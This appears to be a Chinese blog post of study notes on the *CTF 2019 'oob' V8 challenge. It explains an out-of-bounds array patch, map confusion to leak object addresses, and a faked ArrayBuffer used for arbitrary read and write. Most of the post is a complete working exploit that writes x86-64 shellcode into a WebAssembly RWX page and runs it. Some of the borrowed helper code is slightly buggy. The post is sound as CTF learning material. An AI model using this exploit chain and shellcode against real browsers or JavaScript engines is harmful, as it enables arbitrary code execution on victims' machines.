V8学习笔记 starctf 2019 oob

pzhxbz
No comments yet

本以为研究生的生活可以摸鱼，没想到研讨课一下子分了个讲v8的课题，没办法，只有硬着头皮上了。

参考资料：

V8 Object 内存结构与属性访问

http://eternalsakura13.com/2019/04/29/*ctf_oob/

https://github.com/theori-io/zer0con2018_bpak

这篇文章正好也记录一下学习的过程，写文章的时候也可以顺便看看有哪些地方没搞清楚。这里以startctf 2018 的 oob一题，来一点一点的学习v8。

首先，题目给出了一个patch，给js的Array新加了一个方法：

BUILTIN(ArrayOob){
    uint32_t len = args.length();
    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
    Handle<JSReceiver> receiver;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
            isolate, receiver, Object::ToObject(isolate, args.receiver()));
    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
    uint32_t length = static_cast<uint32_t>(array->length()->Number());
    if(len == 1){
        //read
        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
    }else{
        //write
        Handle<Object> value;
        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
        elements.set(length,value->Number());
        return ReadOnlyRoots(isolate).undefined_value();
    }
}

根据patch可以看出，当我们调用array.oob()时可以越界读，调用array.oob(xxx)时可以越界把xxx的值写进去。

为了完成利用，首先肯定需要知道这一个越界的地址上存放的是什么。

首先来做一个测试：

d8> a = [1,2,3,4,5,6,7]
[1, 2, 3, 4, 5, 6, 7]
d8> %DebugPrint(a)
0x18691f2cdd61 <JSArray[7]>
[1, 2, 3, 4, 5, 6, 7]

在启动d8的时候使用--allow-natives-syntax参数可以启用一些方便我们调试的方法，%DebugPrint可以打印出一个类所在的内存地址。在上面的例子中，a所在的内存地址为0x18691f2cdd61，查看内存可知a的elem地址为0x000018691f2cdcd1，而此时我们完全不知道elem越界之后的那一位地址上面的数据是什么东西。

这时候我们就必须想一些办法来让elem越界后的内存是我们可以控制的内存，而js的array中有一个splice方法，可以让array的内存排布更为紧密：

a = a.splice(0)
[1, 2, 3, 4, 5, 6, 7]
d8> %DebugPrint(a)
0x18691f2d0959 <JSArray[7]>
[1, 2, 3, 4, 5, 6, 7]

此时可以看到array的elem和它本身就是紧密排布的，而elem越界之后的第一个元素正好是array的第一个元素，也就是array的map。在js中，是通过map来判断一个object的类型的，所以通过这一个越界读写，就可以控制一个object的map。v8中的array又有两种类型，一种是用来储存double数据的，一种是用来储存object数据的。这应该算是v8的一种优化措施，如果一个数组中的元素全是double型数据，就没有必要再给每一个元素再加一层指针了，而这种类型的数组就如上面的测试所示。

b = [a,a,a,a,1,2,3]
[[1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], 1, 2, 3]
d8> %DebugPrint(b)
0x18691f2d11b1 <JSArray[7]>
[[1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], [1, 2, 3, 4, 5, 6, 7], 1, 2, 3]

可以看到b的map值和a的map值就不同了。所以我们可以通过把一个储存object类型的数组改写成储存double型的，从而泄露里面储存的object的地址：

let w = [1,2,3,4,5,6,7,8,9,0].splice(0);

var ab = new ArrayBuffer(0x1000);

var a = [1.1, 1.1, 1.1, 1.1];
var b = [w, w, ab, 2.2, 2.2];
var c = [3.3, 3.3, 3.3, 3.3, 3.3];

a = a.splice(0);
b = b.splice(0);
c = c.splice(0);

double_map = a.oob();
console.log("doube map is:");
console.log(Int64.fromDouble(double_map).toString(16));

object_map = b.oob();
console.log("object map is:");
console.log(Int64.fromDouble(object_map).toString(16));

b.oob(double_map);
%DebugPrint(w);

console.log("leak w addr:");
console.log(Int64.fromDouble(b[0]).toString(16));

输出为：

d8> load('exp2.js')
doube map is:
0x00002d5408642ed9
object map is:
0x00002d5408642f79
0x111d67655729 <JSArray[10]>
leak w addr:
0x0000111d67655729

可以看到我们成功leak了w的地址。

但是只有leak明显是不够的，js中有一个比较底层的对象叫做ArrayBuffer，它可以直接对二进制数据进行读写。如果我们可以伪造一个ArrayBuffer，然后利用这个ArrayBuffer是不是就可以实现对程序任意地址的读写了。而通过前面的leak，我们就可以知道我们申请的array的地址，然后可以通过偏移算出其elem的地址，所以我们直接在elem中布置我们伪造的ArrayBuffer：


var fake_arraybuffer = [
    //map|properties
    new Int64(0xdeadbeef).asDouble(),
    new Int64(0x0).asDouble(),
    //elements|length
    new Int64(0x0).asDouble(),
    new Int64(0x1000).asDouble(),
    //backingstore|0x2
    new Int64(0x0).asDouble(),
    new Int64(0x2).asDouble(),
    //padding
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
    //fake map
    new Int64(0x0).asDouble(),
    new Int64(0x1900042319080808).asDouble(),
    new Int64(0x00000000082003ff).asDouble(),
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
].splice(0);

虽然我们不知道ArrayBuffer的map地址，但是我们可以伪造ArrayBuffer的map值，所以在数据的最后加上了一段伪造的ArrayBuffermap值。

但是我们要读写什么地方呢？在js中有一个WebAssembly.Instance对象，它会申请一段rwx的空间，其中储存着一些代码，我觉得可以是v8为了优化wasm的执行速度而申请的，此处存疑，以后有机会去看一下源码，我们可以通过改写其中的代码，来执行我们自己的shellcode。

所以这么一套流程下来，利用思路并不复杂，就是通过改写array的map值来进行leak，之后伪造ArrayBuffer来进行任意地址的读写。

exp:

String.prototype.padLeft =
Number.prototype.padLeft = function(total, pad) {
  return (Array(total).join(pad || 0) + this).slice(-total);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++){
        //print(bytes[i].toString(16));
        res.push(('0' + bytes[i].toString(16)).substr(-2));
    }
    return res.join('');

}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");

    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

    return bytes;
}

function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);

    var lines = [];
        var chunk = data.slice(i, i+16);
    for (var i = 0; i < data.length; i += 16) {
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }

    return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);

    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },

        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");

            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },

        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();

function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);

    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;

            var bigEndian = unhexlify(v, 8);
            //print(bigEndian.toString());
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }

    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");

        return Struct.unpack(Struct.float64, bytes);
    };

    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");

        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);

        return res;
    };

    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };

    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };

    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        //print("toString");
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.

    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }

    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);

        return this.assignAdd(this, Int64.One);
    }, 1);

    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a & b
    this.assignAnd = operation(function and(a, b) {
        for (var i = 0; i < 8; i++) {
            bytes[i] = a.byteAt(i) & b.byteAt(i);
        }
        return this;
    }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};

// Convenience functions. These allocate a new Int64 to hold the result.

// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}

// Return a & b
function And(a, b) {
    return (new Int64()).assignAnd(a, b);
}

function hex(a) {
    if (a == undefined) return "0xUNDEFINED";
    var ret = a.toString(16);
    if (ret.substr(0,2) != "0x") return "0x"+ret;
    else return ret;
}

function lower(x) {
    // returns the lower 32bit of double x
    return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-8,8),16) | 0;
}

function upper(x) {
    // returns the upper 32bit of double x
    return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-16, 8),16) | 0;
}


function lowerint(x) {
    // returns the lower 32bit of int x
    return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}

function upperint(x) {
    // returns the upper 32bit of int x
    return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}

function combine(a, b) {
    //a = a >>> 0;
    //b = b >>> 0;
    //print(a.toString());
    //print(b.toString());
    return parseInt(Int64.fromDouble(b).toString() + Int64.fromDouble(a).toString(), 16);
}


//padLeft用于字符串左补位

function combineint(a, b) {
    //a = a >>> 0;
    //b = b >>> 0;
    return parseInt(b.toString(16).substr(-8,8) + (a.toString(16)).padLeft(8), 16);
}

  // based on Long.js by dcodeIO
  // https://github.com/dcodeIO/Long.js
  // License Apache 2
  class _u64 {
     constructor(hi, lo) {
        this.lo_ = lo;
        this.hi_ = hi;
     }

     hex() {
        var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16)
        var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16)
        if(hlo.substr(0,2) == "0x") hlo = hlo.substr(2,hlo.length);
        if(hhi.substr(0,2) == "0x") hhi = hhi.substr(2,hji.length);
        hlo = "00000000" + hlo
        hlo = hlo.substr(hlo.length-8, hlo.length);
        return "0x" + hhi + hlo;
     }

     isZero() {
        return this.hi_ == 0 && this.lo_ == 0;
     }

     equals(val) {
        return this.hi_ == val.hi_ && this.lo_ == val.lo_;
     }

     and(val) {
        return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_);
     }

     add(val) {
        var a48 = this.hi_ >>> 16;
        var a32 = this.hi_ & 0xFFFF;
        var a16 = this.lo_ >>> 16;
        var a00 = this.lo_ & 0xFFFF;

        var b48 = val.hi_ >>> 16;
        var b32 = val.hi_ & 0xFFFF;
        var b16 = val.lo_ >>> 16;
        var b00 = val.lo_ & 0xFFFF;

        var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
        c00 += a00 + b00;
        c16 += c00 >>> 16;
        c00 &= 0xFFFF;
        c16 += a16 + b16;
        c32 += c16 >>> 16;
        c16 &= 0xFFFF;
        c32 += a32 + b32;
        c48 += c32 >>> 16;
        c32 &= 0xFFFF;
        c48 += a48 + b48;
        c48 &= 0xFFFF;

        return new _u64((c48 << 16) | c32, (c16 << 16) | c00);
     }

     addi(h,l) {
        return this.add(new _u64(h,l));
     }

     subi(h,l) {
        return this.sub(new _u64(h,l));
     }

     not() {
        return new _u64(~this.hi_, ~this.lo_)
     }

     neg() {
        return this.not().add(new _u64(0,1));
     }

     sub(val) {
        return this.add(val.neg());
     };

     swap32(val) {
        return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
              ((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
     }

     bswap() {
        var lo = swap32(this.lo_);
        var hi = swap32(this.hi_);
        return new _u64(lo, hi);
     };
  }
var u64 = function(hi, lo) { return new _u64(hi,lo) };

function gc(){
    for (var i = 0; i < 1024 * 1024 * 16; i++){
        new String();
    }
}

var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
// var shellcode = [0xcccccccc];

const wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,0x00, 0x00, 0x41, 0x00, 0x0b]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;

// %DebugPrint(wasm_instance);
gc();
gc();


var fake_arraybuffer = [
    //map|properties
    new Int64(0xdeadbeef).asDouble(),
    new Int64(0x0).asDouble(),
    //elements|length
    new Int64(0x0).asDouble(),
    new Int64(0x1000).asDouble(),
    //backingstore|0x2
    new Int64(0x0).asDouble(),
    new Int64(0x2).asDouble(),
    //padding
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
    //fake map
    new Int64(0x0).asDouble(),
    new Int64(0x1900042319080808).asDouble(),
    new Int64(0x00000000082003ff).asDouble(),
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
    new Int64(0x0).asDouble(),
].splice(0);

// let w = [1,2,3,4,5,6,7,8,9,0].splice(0);

// %DebugPrint(fake_arraybuffer);
var ab = new ArrayBuffer(0x1000);

var a = [1.1, 1.1, 1.1, 1.1];
var b = [fake_arraybuffer, wasm_instance, ab, 2.2, 2.2];
var c = [3.3, 3.3, 3.3, 3.3, 3.3];

a = a.splice(0);
b = b.splice(0);
c = c.splice(0);

double_map = a.oob();
console.log("doube map is:");
console.log(Int64.fromDouble(double_map).toString(16));
console.log("object map is:");
object_map = b.oob();
console.log(Int64.fromDouble(object_map).toString(16));

b.oob(double_map);

fake_arraybuffer_addr =  b[0];
console.log('fake_arraybuffer_addr addr : ')
console.log(Int64.fromDouble(fake_arraybuffer_addr).toString(16));

wasm_addr = b[1];

console.log('wasm addr : ')
console.log(Int64.fromDouble(wasm_addr).toString(16));

ad_addr = b[2];
console.log('ab addr ');
console.log(Int64.fromDouble(ad_addr).toString(16));

rwx_addr = wasm_addr + new Int64(0x88 - 0x1).asDouble();

fake_arraybuffer[0] = double_map;
fake_arraybuffer_elem_addr = fake_arraybuffer_addr - new Int64(0x80).asDouble();

console.log('fake elem addr');
console.log(Int64.fromDouble(fake_arraybuffer_elem_addr).toString(16));
// raw_array_map = double_map - new Int64(3360).asDouble();
raw_array_map = fake_arraybuffer_elem_addr + new Int64(0x40).asDouble();
console.log('arraybuffer map : ');
console.log(Int64.fromDouble(raw_array_map).toString(16));

fake_arraybuffer[0] = raw_array_map;  
fake_arraybuffer[4] = rwx_addr; 

www = [fake_arraybuffer_elem_addr,1,2,3,4,5,6,7].splice(0);
www.oob(object_map);
www1 = www[0];
// console.log(typeof(www1));
var dv = new DataView(www1);
rwx_addr = dv.getFloat64(0, true);
console.log("rwx addr is:");
console.log(Int64.fromDouble(rwx_addr).toString(16));

fake_arraybuffer[4] = rwx_addr; 


for (i = 0; i < shellcode.length; i++){
    dv.setUint32(i * 4, shellcode[i], true);
}

wasm_func();

当然这个exp中有好大一部分都是参考照抄别人的，因为自己对js本身就不怎么熟悉orz。

发表评论

电子邮件地址不会被公开。 必填项已用*标注